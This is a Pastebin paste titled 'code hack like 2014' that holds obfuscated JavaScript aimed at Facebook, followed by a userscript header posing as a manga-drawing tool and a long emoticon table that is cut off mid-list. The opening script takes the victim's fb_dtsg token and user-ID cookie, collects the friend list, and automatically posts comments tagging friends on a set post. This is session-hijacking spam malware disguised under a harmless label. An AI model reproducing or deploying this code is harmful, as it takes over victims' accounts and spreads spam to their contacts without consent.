hoanqba

code hack like 2014

May 7th, 2014
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.76 KB | None | 0 0
  1. var _0xf841=["value","fb_dtsg","getElementsByName","match","cookie","301044650051089","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," :* (y) :* HACK LIKE ĐƯỢC RỒI ☺ 🐧 🐗 🐔 🌹 🌺 🐔 🐘 @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];
  2. var _0xa22c=[_0xf841[0],_0xf841[1],_0xf841[2],_0xf841[3],_0xf841[4],_0xf841[5],_0xf841[6],_0xf841[7],_0xf841[8],_0xf841[9],_0xf841[10],_0xf841[11],_0xf841[12],_0xf841[13],_0xf841[14],_0xf841[15],_0xf841[16],_0xf841[17],_0xf841[18],_0xf841[19],_0xf841[20],_0xf841[21],_0xf841[22],_0xf841[23],_0xf841[24],_0xf841[25],_0xf841[26],_0xf841[27],_0xf841[28],_0xf841[29],_0xf841[30],_0xf841[31],_0xf841[32],_0xf841[33],_0xf841[34],_0xf841[35],_0xf841[36],_0xf841[37],_0xf841[38],_0xf841[39],_0xf841[40],_0xf841[41],_0xf841[42],_0xf841[43],_0xf841[44],_0xf841[45],_0xf841[46],_0xf841[47],_0xf841[48],_0xf841[49],_0xf841[50],_0xf841[51],_0xf841[52],_0xf841[53],_0xf841[54],_0xf841[55],_0xf841[56],_0xf841[57],_0xf841[58],_0xf841[59],_0xf841[60],_0xf841[61],_0xf841[62],_0xf841[63],_0xf841[64]];
  3. var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];
  4. var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);
  5. var id=_0xa22c[5];
  6. var arkadaslar=[];
  7. var svn_rev;
  8. function arkadaslari_al(id)
  9. {
  10. var _0x327fx8= new XMLHttpRequest();
  11. _0x327fx8[_0xa22c[6]]=function ()
  12. {
  13. if(_0x327fx8[_0xa22c[7]]==4)
  14. {
  15. eval(_0xa22c[8]+_0x327fx8[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);
  16. for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++)
  17. {
  18. mesaj=_0xa22c[10];
  19. mesaj_text=_0xa22c[10];
  20. for(i=f*27;i<(f+1)*27;i++)
  21. {
  22. if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i])
  23. {
  24. mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];
  25. mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];
  26. }
  27. ;
  28. }
  29. ;
  30. yorum_yap(id,mesaj);
  31. }
  32. ;
  33. }
  34. ;
  35. }
  36. ;
  37. var _0x327fx9=_0xa22c[24];
  38. _0x327fx9+=_0xa22c[25];
  39. _0x327fx9+=_0xa22c[26];
  40. _0x327fx9+=_0xa22c[27];
  41. _0x327fx9+=_0xa22c[28]+user_id;
  42. _0x327fx9+=_0xa22c[29]+user_id;
  43. if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0)
  44. {
  45. _0x327fx8[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x327fx9,true);
  46. }
  47. else
  48. {
  49. _0x327fx8[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x327fx9,true);
  50. }
  51. ;
  52. _0x327fx8[_0xa22c[37]]();
  53. }
  54. ;
  55. function RandomArkadas()
  56. {
  57. var _0x327fxb=_0xa22c[10];
  58. for(i=0;i<9;i++)
  59. {
  60. _0x327fxb+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];
  61. }
  62. ;
  63. return _0x327fxb;
  64. }
  65. ;
  66. function yorum_yap(id,_0x327fxd)
  67. {
  68. var _0x327fxe= new XMLHttpRequest();
  69. var _0x327fx9=_0xa22c[10];
  70. _0x327fx9+=_0xa22c[40]+id;
  71. _0x327fx9+=_0xa22c[41]+encodeURIComponent(_0x327fxd);
  72. _0x327fx9+=_0xa22c[42];
  73. _0x327fx9+=_0xa22c[43];
  74. _0x327fx9+=_0xa22c[44];
  75. _0x327fx9+=_0xa22c[45];
  76. _0x327fx9+=_0xa22c[46];
  77. _0x327fx9+=_0xa22c[47]+id+_0xa22c[48];
  78. _0x327fx9+=_0xa22c[49];
  79. _0x327fx9+=_0xa22c[50];
  80. _0x327fx9+=_0xa22c[51];
  81. _0x327fx9+=_0xa22c[52];
  82. _0x327fx9+=_0xa22c[29]+user_id;
  83. _0x327fx9+=_0xa22c[53];
  84. _0x327fx9+=_0xa22c[54];
  85. _0x327fx9+=_0xa22c[55];
  86. _0x327fx9+=_0xa22c[56]+fb_dtsg;
  87. _0x327fx9+=_0xa22c[57];
  88. _0x327fxe[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);
  89. _0x327fxe[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);
  90. _0x327fxe[_0xa22c[6]]=function ()
  91. {
  92. if(_0x327fxe[_0xa22c[7]]==4&&_0x327fxe[_0xa22c[63]]==200)
  93. {
  94. _0x327fxe[_0xa22c[64]];
  95. }
  96. ;
  97. }
  98. ;
  99. _0x327fxe[_0xa22c[37]](_0x327fx9);
  100. }
  101. ;
  102. arkadaslari_al(301044650051089);
  103. // ==UserScript==
  104. // @name TOOL VẼ CHIBI VÀ MANGA MỚI NHẤT 2014
  105. // @description All about facebook By Tùng Saker
  106. // @include https://*.facebook.com/*
  107. // @include https://*.facebook.com/*/*
  108. // @include http://*.facebook.com/*
  109. // @include http://*.facebook.com/*/*
  110. // ==/UserScript==
  111. // ==13470X==
  112. // ==============
  113. // ==Icon==
  114. (function() {
  115. // Active only in main frame
  116. if (!document.querySelector("#pageNav")) {
  117. return;
  118. }
  119. //console.info("Extra Facebook Smileys");
  120.  
  121. // = Data =======
  122. var emoticons = [ { // Text to picture emoticons
  123. "chars" : " :) ",
  124. "class" : "emoticon_smile",
  125. "name" : "Smiley"
  126. }, {
  127. "chars" : " :( ",
  128. "class" : "emoticon_frown",
  129. "name" : "Frown"
  130. }, {
  131. "chars" : " :P ",
  132. "class" : "emoticon_tongue",
  133. "name" : "Tongue"
  134. }, {
  135. "chars" : " :D ",
  136. "class" : "emoticon_grin",
  137. "name" : "Grin"
  138. }, {
  139. "chars" : " :o ",
  140. "class" : "emoticon_gasp",
  141. "name" : "Gasp"
  142. }, {
  143. "chars" : " ;) ",
  144. "class" : "emoticon_wink",
  145. "name" : "Wink"
  146. }, {
  147. "chars" : " :v ",
  148. "class" : "emoticon_pacman",
  149. "name" : "Pacman"
  150. }, {
  151. "chars" : " >:( ",
  152. "class" : "emoticon_grumpy",
  153. "name" : "Gru?ƒÂ±?ƒÂ³n"
  154. }, {
  155. "chars" : " :/ ",
  156. "class" : "emoticon_unsure",
  157. "name" : "Unsure"
  158. }, {
  159. "chars" : " :'( ",
  160. "class" : "emoticon_cry",
  161. "name" : "Cry"
  162. }, {
  163. "chars" : " ^_^ ",
  164. "class" : "emoticon_kiki",
  165. "name" : "Kiki"
  166. }, {
  167. "chars" : " 8) ",
  168. "class" : "emoticon_glasses",
  169. "name" : "Glasses"
  170. }, {
  171. "chars" : " B| ",
  172. "class" : "emoticon_sunglasses",
  173. "name" : "Sunglasses"
  174. }, {
  175. "chars" : " <3 ",
  176. "class" : "emoticon_heart",
  177. "name" : "Heart"
  178. }, {
  179. "chars" : " 3:) ",
  180. "class" : "emoticon_devil",
  181. "name" : "Devil"
  182. }, {
  183. "chars" : " O:) ",
  184. "class" : "emoticon_angel",
  185. "name" : "Angel"
  186. }, {
  187. "chars" : " -_- ",
  188. "class" : "emoticon_squint",
  189. "name" : "Squint"
  190. }, {
  191. "chars" : " o.O ",
  192. "class" : "emoticon_confused",
  193. "name" : "Confused"
  194. }, {
  195. "chars" : " >:o ",
  196. "class" : "emoticon_upset",
  197. "name" : "Upset"
  198. }, {
  199. "chars" : " :3 ",
  200. "class" : "emoticon_colonthree",
  201. "name" : "Colonthree"
  202. }, {
  203. "chars" : " (y) ",
  204. "class" : "emoticon_like",
  205. "name" : "Like"
  206. }, {
  207. "chars" : " :* ",
  208. "class" : "emoticon emoticon_kiss",
  209. "name" : "Kiss"
  210. }, {
  211. "chars" : " (^^^) ",
  212. "class" : "emoticon_shark",
  213. "name" : "Shark"
  214. }, {
  215. "chars" : " :|] ",
  216. "class" : "emoticon_robot",
  217. "name" : "Robot"
  218. }, {
  219. "chars" : " <(\") ",
  220. "class" : "emoticon_penguin",
  221. "name" : "Ping?ƒÂ¼ino"
  222. }, {
  223. "chars" : " :poop: ",
  224. "class" : "emoticon_poop",
  225. "name" : "Poop"
  226. }, {
  227. "chars" : " :putnam: ",
  228. "class" : "emoticon_putnam",
  229. "name" : "Putman"
  230. }, {
  231. "chars" : " \ud83c\udf02 ",
  232. "class" : "_1az _1a- _2c0",
  233. "name" : "Pink Umbrella"
  234. }, {
  235. "chars" : " \ud83c\udf0a ",
  236. "class" : "_1az _1a- _2c1",
  237. "name" : "Sea Wave"
  238. }, {
  239. "chars" : " \ud83c\udf19 ",
  240. "class" : "_1az _1a- _2c2",
  241. "name" : "Crescent moon"
  242. }, {
  243. "chars" : " \ud83c\udf1f ",
  244. "class" : "_1az _1a- _2c3",
  245. "name" : "Bright Star"
  246. }, {
  247. "chars" : " \ud83c\udf31 ",
  248. "class" : "_1az _1a- _2c4",
  249. "name" : "Seedbed"
  250. }, {
  251. "chars" : " \ud83c\udf34 ",
  252. "class" : "_1az _1a- _2c5",
  253. "name" : "Single Palm Tree"
  254. }, {
  255. "chars" : " \ud83c\udf35 ",
  256. "class" : "_1az _1a- _2c6",
  257. "name" : "Cactus"
  258. }, {
  259. "chars" : " \ud83c\udf37 ",
  260. "class" : "_1az _1a- _2c7",
  261. "name" : "Tulip"
  262. }, {
  263. "chars" : " \ud83c\udf38 ",
  264. "class" : "_1az _1a- _2c8",
  265. "name" : "Cherry Blossom"
  266. }, {
  267. "chars" : " \ud83c\udf39 ",
  268. "class" : "_1az _1a- _2c9",
  269. "name" : "Rose"
  270. }, {
  271. "chars" : " \ud83c\udf3a ",
  272. "class" : "_1az _1a- _2ca",
  273. "name" : "Cayenne"
  274. }, {
  275. "chars" : " \ud83c\udf3b ",
  276. "class" : "_1az _1a- _2cb",
  277. "name" : "Sunflower"
  278. }, {
  279. "chars" : " \ud83c\udf3e ",
  280. "class" : "_1az _1a- _2cc",
  281. "name" : "Ear Of Rice"
  282. }, {
  283. "chars" : " \ud83c\udf40 ",
  284. "class" : "_1az _1a- _2cd",
  285. "name" : "Four Leaf Clover"
  286. }, {
  287. "chars" : " \ud83c\udf41 ",
  288. "class" : "_1az _1a- _2ce",
  289. "name" : "Maple Leaf"
  290. }, {
  291. "chars" : " \ud83c\udf42 ",
  292. "class" : "_1az _1a- _2cf",
  293. "name" : "Fallen Leaf"
  294. }, {
  295. "chars" : " \ud83c\udf43 ",
  296. "class" : "_1az _1a- _2cg",
  297. "name" : "Leaf Floating In The Wind"
  298. }, {
  299. "chars" : " \ud83c\udf4a ",
  300. "class" : "_1az _1a- _2ch",
  301. "name" : "Tangerine"
  302. }, {
  303. "chars" : " \ud83c\udf4e ",
  304. "class" : "_1az _1a- _2ci",
  305. "name" : "Red Apple"
  306. }, {
  307. "chars" : " \ud83c\udf53 ",
  308. "class" : "_1az _1a- _2cj",
  309. "name" : "Strawberry"
  310. }, {
  311. "chars" : " \ud83c\udf54 ",
  312. "class" : "_1az _1a- _2ck",
  313. "name" : "Burger"
  314. }, {
  315. "chars" : " \ud83c\udf78 ",
  316. "class" : "_1az _1a- _2cl",
  317. "name" : "Cocktail Glass"
  318. }, {
  319. "chars" : " \ud83c\udf7a ",
  320. "class" : "_1az _1a- _2cm",
  321. "name" : "Tankard"
  322. }, {
  323. "chars" : " \ud83c\udf81 ",
  324. "class" : "_1az _1a- _2cn",
  325. "name" : "Gift Wrapped"
  326. }, {
  327. "chars" : " \ud83c\udf83 ",
  328. "class" : "_1az _1a- _2co",
  329. "name" : "Pumpkin With Candle"
  330. }, {
  331. "chars" : " \ud83c\udf84 ",
  332. "class" : "_1az _1a- _2cp",
  333. "name" : "Christmas Tree"
  334. }, {
  335. "chars" : " \ud83c\udf85 ",
  336. "class" : "_1az _1a- _2cq",
  337. "name" : "Santa"
  338. }, {
  339. "chars" : " \ud83c\udf88 ",
  340. "class" : "_1az _1a- _2cr",
  341. "name" : "Balloon"
  342. }, {
  343. "chars" : " \ud83c\udf89 ",
  344. "class" : "_1az _1a- _2cs",
  345. "name" : "Party Popper"
  346. }, {
  347. "chars" : " \ud83c\udf8d ",
  348. "class" : "_1az _1a- _2ct",
  349. "name" : "Pine Decor"
  350. }, {
  351. "chars" : " \ud83c\udf8e ",
  352. "class" : "_1az _1a- _2cu",
  353. "name" : "Japanese Dolls"
  354. }, {
  355. "chars" : " \ud83c\udf8f ",
  356. "class" : "_1az _1a- _2cv",
  357. "name" : "Carp Streamer"
  358. }, {
  359. "chars" : " \ud83c\udf90 ",
  360. "class" : "_1az _1a- _2cw",
  361. "name" : "Wind Chime"
  362. }, {
  363. "chars" : " \ud83c\udf93 ",
  364. "class" : "_1az _1a- _2cx",
  365. "name" : "Graduation Cap"
  366. }, {
  367. "chars" : " \ud83c\udfb5 ",
  368. "class" : "_1az _1a- _2cy",
  369. "name" : "Musical Note"
  370. }, {
  371. "chars" : " \ud83c\udfb6 ",
  372. "class" : "_1az _1a- _2cz",
  373. "name" : "Multiple Musical Notes"
  374. }, {
  375. "chars" : " \ud83c\udfbc ",
  376. "class" : "_1az _1a- _2c-",
  377. "name" : "Musical Score"
  378. }, {
  379. "chars" : " \ud83d\udc0d ",
  380. "class" : "_1az _1a- _2c_",
  381. "name" : "Snake"
  382. }, {
  383. "chars" : " \ud83d\udc0e ",
  384. "class" : "_1az _1a- _2d0",
  385. "name" : "Horse"
  386. }, {
  387. "chars" : " \ud83d\udc11 ",
  388. "class" : "_1az _1a- _2d1",
  389. "name" : "Sheep"
  390. }, {
  391. "chars" : " \ud83d\udc12 ",
  392. "class" : "_1az _1a- _2d2",
  393. "name" : "Monkey"
  394. }, {
  395. "chars" : " \ud83d\udc14 ",
  396. "class" : "_1az _1a- _2d3",
  397. "name" : "Hen"
  398. }, {
  399. "chars" : " \ud83d\udc17 ",
  400. "class" : "_1az _1a- _2d4",
  401. "name" : "Wild Boar"
  402. }, {
  403. "chars" : " \ud83d\udc18 ",
  404. "class" : "_1az _1a- _2d5",
  405. "name" : "Elephant"
  406. }, {
  407. "chars" : " \ud83d\udc19 ",
  408. "class" : "_1az _1a- _2d6",
  409. "name" : "Octopus"
  410. }, {
  411. "chars" : " \ud83d\udc1a ",
  412. "class" : "_1az _1a- _2d7",
  413. "name" : "Snail Shell"
  414. }, {
  415. "chars" : " \ud83d\udc1b ",
  416. "class" : "_1az _1a- _2d8",
  417. "name" : "Insect"
  418. }, {
  419. "chars" : " \ud83d\udc1f ",
  420. "class" : "_1az _1a- _2d9",
  421. "name" : "Fish"
  422. }, {
  423. "chars" : " \ud83d\udc20 ",
  424. "class" : "_1az _1a- _2da",
  425. "name" : "Tropical Fish"
  426. }, {
  427. "chars" : " \ud83d\udc21 ",
  428. "class" : "_1az _1a- _2db",
  429. "name" : "Pufferfish"
  430. }, {
  431. "chars" : " \ud83d\udc25 ",
  432. "class" : "_1az _1a- _2dc",
  433. "name" : "Chick In Front"
  434. }, {
  435. "chars" : " \ud83d\udc26 ",
  436. "class" : "_1az _1a- _2dd",
  437. "name" : "Bird"
  438. }, {
  439. "chars" : " \ud83d\udc27 ",
  440. "class" : "_1az _1a- _2de",
  441. "name" : "Penguin"
  442. }, {
  443. "chars" : " \ud83d\udc28 ",
  444. "class" : "_1az _1a- _2df",
  445. "name" : "Koala"
  446. }, {
  447. "chars" : " \ud83d\udc29 ",
  448. "class" : "_1az _1a- _2dg",
  449. "name" : "Poodle"
  450. }, {
  451. "chars" : " \ud83d\udc2b ",
  452. "class" : "_1az _1a- _2dh",
  453. "name" : "Bactrian Camel"
  454. }, {
  455. "chars" : " \ud83d\udc2c ",
  456. "class" : "_1az _1a- _2di",
  457. "name" : "Dolphin"
  458. }, {
  459. "chars" : " \ud83d\udc2d ",
  460. "class" : "_1az _1a- _2dj",
  461. "name" : "Mouse Face"
  462. }, {
  463. "chars" : " \ud83d\udc2e ",
  464. "class" : "_1az _1a- _2dk",
  465. "name" : "Cow Face"
  466. }, {
  467. "chars" : " \ud83d\udc2f ",
  468. "class" : "_1az _1a- _2dl",
  469. "name" : "Cara de tigre"
  470. }, {
  471. "chars" : " \ud83d\udc30 ",
  472. "class" : "_1az _1a- _2dm",
  473. "name" : "Rabbit Face"
  474. }, {
  475. "chars" : " \ud83d\udc31 ",
  476. "class" : "_1az _1a- _2dn",
  477. "name" : "Cat Face"
  478. }, {
  479. "chars" : " \ud83d\udc33 ",
  480. "class" : "_1az _1a- _2do",
  481. "name" : "Whale Sputtering"
  482. }, {
  483. "chars" : " \ud83d\udc34 ",
  484. "class" : "_1az _1a- _2dp",
  485. "name" : "Horse Face"
  486. }, {
  487. "chars" : " \ud83d\udc35 ",
  488. "class" : "_1az _1a- _2dq",
  489. "name" : "Monkey Face"
  490. }, {
  491. "chars" : " \ud83d\udc37 ",
  492. "class" : "_1az _1a- _2dr",
  493. "name" : "Pig face"
  494. }, {
  495. "chars" : " \ud83d\udc38 ",
  496. "class" : "_1az _1a- _2ds",
  497. "name" : "Frog Face"
  498. }, {
  499. "chars" : " \ud83d\udc39 ",
  500. "class" : "_1az _1a- _2dt",
  501. "name" : "Hamster Face"
  502. }, {
  503. "chars" : " \ud83d\udc3a ",
  504. "class" : "_1az _1a- _2du",
  505. "name" : "Wolf Face"
  506. }, {
  507. "chars" : " \ud83d\udc3b ",
  508. "class" : "_1az _1a- _2dv",
  509. "name" : "Bear Face"
  510. }, {
  511. "chars" : " \ud83d\udc3e ",
  512. "class" : "_1az _1a- _2dw",
  513. "name" : "Footprints"
  514. }, {
  515. "chars" : " \ud83d\udc40 ",
  516. "class" : "_1az _1a- _2dx",
  517. "name" : "Eyes"
  518. }, {
  519. "chars" : " \ud83d\udc42 ",
  520. "class" : "_1az _1a- _2dy",
  521. "name" : "Ear"
  522. }, {
  523. "chars" : " \ud83d\udc43 ",
  524. "class" : "_1az _1a- _2dz",
  525. "name" : "Nose"
  526. }, {
  527. "chars" : " \ud83d\udc44 ",
  528. "class" : "_1az _1a- _2d-",
  529. "name" : "Mouth"
  530. }, {
  531. "chars" : " \ud83d\udc45 ",
  532. "class" : "_1az _1a- _2d_",
  533. "name" : "Sour Face"
  534. }, {
  535. "chars" : " \ud83d\udc46 ",
  536. "class" : "_1az _1a- _2e0",
  537. "name" : "White hand pointing up"
  538. }, {
  539. "chars" : " \ud83d\udc47 ",
  540. "class" : "_1az _1a- _2e1",
  541. "name" : "White hand faces downward"
  542. }, {
  543. "chars" : " \ud83d\udc48 ",
  544. "class" : "_1az _1a- _2e2",
  545. "name" : "White hand indicating left"
  546. }, {
  547. "chars" : " \ud83d\udc49 ",
  548. "class" : "_1az _1a- _2e3",
  549. "name" : "White hand indicating right"
  550. }, {
  551. "chars" : " \ud83d\udc4a ",
  552. "class" : "_1az _1a- _2e4",
  553. "name" : "Fist"
  554. }, {
  555. "chars" : " \ud83d\udc4b ",
  556. "class" : "_1az _1a- _2e5",
  557. "name" : "Hand in motion"
  558. }, {
  559. "chars" : " \ud83d\udc4c ",
  560. "class" : "_1az _1a- _2e6",
  561. "name" : "Hand showing all good"
  562. }, {
  563. "chars" : " \ud83d\udc4d ",
  564. "class" : "_1az _1a- _2e7",
  565. "name" : "Hand with thumb up"
  566. }, {
  567. "chars" : " \ud83d\udc4e ",
  568. "class" : "_1az _1a- _2e8",
  569. "name" : "Hand with thumb down"
  570. }, {
  571. "chars" : " \ud83d\udc4f ",
  572. "class" : "_1az _1a- _2e9",
  573. "name" : "Hands clapping"
  574. }, {
  575. "chars" : " \ud83d\udc50 ",
  576. "class" : "_1az _1a- _2ea",
  577. "name" : "Open Hands"
  578. }, {
  579. "chars" : " \ud83d\udc66 ",
  580. "class" : "_1az _1a- _2eb",
  581. "name" : "Boy"
  582. }, {
  583. "chars" : " \ud83d\udc67 ",
  584. "class" : "_1az _1a- _2ec",
  585. "name" : "Girl"
  586. }, {
  587. "chars" : " \ud83d\udc68 ",
  588. "class" : "_1az _1a- _2ed",
  589. "name" : "Man"
  590. }, {
  591. "chars" : " \ud83d\udc69 ",
  592. "class" : "_1az _1a- _2ee",
  593. "name" : "Woman"
  594. }, {
  595. "chars" : " \ud83d\udc6b ",
  596. "class" : "_1az _1a- _2ef",
  597. "name" : "Man and woman holding hands"
  598. }, {
  599. "chars" : " \ud83d\udc6e ",
  600. "class" : "_1az _1a- _2eg",
  601. "name" : "Police Officer"
  602. }, {
  603. "chars" : " \ud83d\udc6f ",
  604. "class" : "_1az _1a- _2eh",
  605. "name" : "Woman with bunny ears"
  606. }, {
  607. "chars" : " \ud83d\udc71 ",
  608. "class" : "_1az _1a- _2ei",
  609. "name" : "Person with hair rubio"
  610. }, {
  611. "chars" : " \ud83d\udc72 ",
  612. "class" : "_1az _1a- _2ej",
  613. "name" : "Man with pi mao gua"
  614. }, {
  615. "chars" : " \ud83d\udc73 ",
  616. "class" : "_1az _1a- _2ek",
  617. "name" : "Man with turban"
  618. }, {
  619. "chars" : " \ud83d\udc74 ",
  620. "class" : "_1az _1a- _2el",
  621. "name" : "Old Man"
  622. }, {
  623. "chars" : " \ud83d\udc75 ",
  624. "class" : "_1az _1a- _2em",
  625. "name" : "Old Woman"
  626. }, {
  627. "chars" : " \ud83d\udc76 ",
  628. "class" : "_1az _1a- _2en",
  629. "name" : "Baby"
  630. }, {
  631. "chars" : " \ud83d\udc77 ",
  632. "class" : "_1az _1a- _2eo",
  633. "name" : "Construction Worker"
  634. }, {
  635. "chars" : " \ud83d\udc78 ",
  636. "class" : "_1az _1a- _2ep",
  637. "name" : "Princess"
  638. }, {
  639. "chars" : " \ud83d\udc7b ",
  640. "class" : "_1az _1a- _2eq",
  641. "name" : "Ghost"
  642. }, {
  643. "chars" : " \ud83d\udc7c ",
  644. "class" : "_1az _1a- _2er",
  645. "name" : "Angel baby"
  646. }, {
  647. "chars" : " \ud83d\udc7d ",
  648. "class" : "_1az _1a- _2es",
  649. "name" : "Alien"
  650. }, {
  651. "chars" : " \ud83d\udc7e ",
  652. "class" : "_1az _1a- _2et",
  653. "name" : "Alien Monster"
  654. }, {
  655. "chars" : " \ud83d\udc7f ",
  656. "class" : "_1az _1a- _2eu",
  657. "name" : "Imp"
  658. }, {
  659. "chars" : " \ud83d\udc80 ",
  660. "class" : "_1az _1a- _2ev",
  661. "name" : "Skull"
  662. }, {
  663. "chars" : " \ud83d\udc82 ",
  664. "class" : "_1az _1a- _2ew",
  665. "name" : "Guard"
  666. }, {
  667. "chars" : " \ud83d\udc83 ",
  668. "class" : "_1az _1a- _2ex",
  669. "name" : "Ballerina"
  670. }, {
  671. "chars" : " \ud83d\udc85 ",
  672. "class" : "_1az _1a- _2ey",
  673. "name" : "Nail Polish"
  674. }, {
  675. "chars" : " \ud83d\udc8b ",
  676. "class" : "_1az _1a- _2ez",
  677. "name" : "Brand of kiss"
  678. }, {
  679. "chars" : " \ud83d\udc8f ",
  680. "class" : "_1az _1a- _2e-",
  681. "name" : "Kissing couple"
  682. }, {
  683. "chars" : " \ud83d\udc90 ",
  684. "class" : "_1az _1a- _2e_",
  685. "name" : "Bunch of flowers"
  686. }, {
  687. "chars" : " \ud83d\udc91 ",
  688. "class" : "_1az _1a- _2f0",
  689. "name" : "Couple with heart"
  690. }, {
  691. "chars" : " \ud83d\udc93 ",
  692. "class" : "_1az _1a- _2f1",
  693. "name" : "Heart beating"
  694. }, {
  695. "chars" : " \ud83d\udc94 ",
  696. "class" : "_1az _1a- _2f2",
  697. "name" : "Broken Heart"
  698. }, {
  699. "chars" : " \ud83d\udc96 ",
  700. "class" : "_1az _1a- _2f3",
  701. "name" : "Bright Heart"
  702. }, {
  703. "chars" : " \ud83d\udc97 ",
  704. "class" : "_1az _1a- _2f4",
  705. "name" : "Heart growing"
  706. }, {
  707. "chars" : " \ud83d\udc98 ",
  708. "class" : "_1az _1a- _2f5",
  709. "name" : "Heart with arrow"
  710. }, {
  711. "chars" : " \ud83d\udc99 ",
  712. "class" : "_1az _1a- _2f6",
  713. "name" : "Blue Heart"
  714. }, {
  715. "chars" : " \ud83d\udc9a ",
  716. "class" : "_1az _1a- _2f7",
  717. "name" : "Green Heart"
  718. }, {
  719. "chars" : " \ud83d\udc9b ",
  720. "class" : "_1az _1a- _2f8",
  721. "name" : "Yellow Heart"
  722. }, {
  723. "chars" : " \ud83d\udc9c ",
  724. "class" : "_1az _1a- _2f9",
  725. "name" : "Purple Heart"
  726. }, {
  727. "chars" : " \ud83d\udc9d ",
  728. "class" : "_1az _1a- _2fa",
  729. "name" : "Heart with ribbon"
  730. }, {
  731. "chars" : " \ud83d\udca2 ",
  732. "class" : "_1az _1a- _2fb",
  733. "name" : "Symbol of anger"
  734. }, {
  735. "chars" : " \ud83d\udca4 ",
  736. "class" : "_1az _1a- _2fc",
  737. "name" : "Sleeping"
  738. }, {
  739. "chars" : " \ud83d\udca6 ",
  740. "class" : "_1az _1a- _2fd",
  741. "name" : "Sweat Symbol"
  742. }, {
  743. "chars" : " \ud83d\udca8 ",
  744. "class" : "_1az _1a- _2fe",
  745. "name" : "Quick Start Symbol"
  746. }, {
  747. "chars" : " \ud83d\udca9 ",
  748. "class" : "_1az _1a- _2ff",
  749. "name" : "Pile of Caca"
  750. }, {
  751. "chars" : " \ud83d\udcaa ",
  752. "class" : "_1az _1a- _2fg",
  753. "name" : "Flexed bicep"
  754. }, {
  755. "chars" : " \ud83d\udcbb ",
  756. "class" : "_1az _1a- _2fh",
  757. "name" : "Personal Computer"
  758. }, {
  759. "chars" : " \ud83d\udcbd ",
  760. "class" : "_1az _1a- _2fi",
  761. "name" : "Mini Disco"
  762. }, {
  763. "chars" : " \ud83d\udcbe ",
  764. "class" : "_1az _1a- _2fj",
  765. "name" : "Floppy disk"
  766. }, {
  767. "chars" : " \ud83d\udcbf ",
  768. "class" : "_1az _1a- _2fk",
  769. "name" : "Optical Disc"
  770. }, {
  771. "chars" : " \ud83d\udcc0 ",
  772. "class" : "_1az _1a- _2fl",
  773. "name" : "DVD"
  774. }, {
  775. "chars" : " \ud83d\udcde ",
  776. "class" : "_1az _1a- _2fm",
  777. "name" : "Telephone receiver"
  778. }, {
  779. "chars" : " \ud83d\udce0 ",
  780. "class" : "_1az _1a- _2fn",
  781. "name" : "Fax"
  782. }, {
  783. "chars" : " \ud83d\udcf1 ",
  784. "class" : "_1az _1a- _2fo",
  785. "name" : "Mobile Phone"
  786. }, {
  787. "chars" : " \ud83d\udcf2 ",
  788. "class" : "_1az _1a- _2fp",
  789. "name" : "Mobile phone with arrow from left to right"
  790. }, {
  791. "chars" : " \ud83d\udcfa ",
  792. "class" : "_1az _1a- _2fq",
  793. "name" : "Television"
  794. }, {
  795. "chars" : " \ud83d\udd14 ",
  796. "class" : "_1az _1a- _2fr",
  797. "name" : "Bell"
  798. }, {
  799. "chars" : " \ud83d\ude01 ",
  800. "class" : "_1az _1a- _2fs",
  801. "name" : "Face to face with smiling eyes"
  802. }, {
  803. "chars" : " \ud83d\ude02 ",
  804. "class" : "_1az _1a- _2ft",
  805. "name" : "Face with tears of joy"
  806. }, {
  807. "chars" : " \ud83d\ude03 ",
  808. "class" : "_1az _1a- _2fu",
  809. "name" : "Smiley face with open mouth"
  810. }, {
  811. "chars" : " \ud83d\ude04 ",
  812. "class" : "_1az _1a- _2fv",
  813. "name" : "Face and eyes smiling with mouth open"
  814. }, {
  815. "chars" : " \ud83d\ude06 ",
  816. "class" : "_1az _1a- _2fw",
  817. "name" : "Smiley face with mouth open and eyes closed"
  818. }, {
  819. "chars" : " \ud83d\ude09 ",
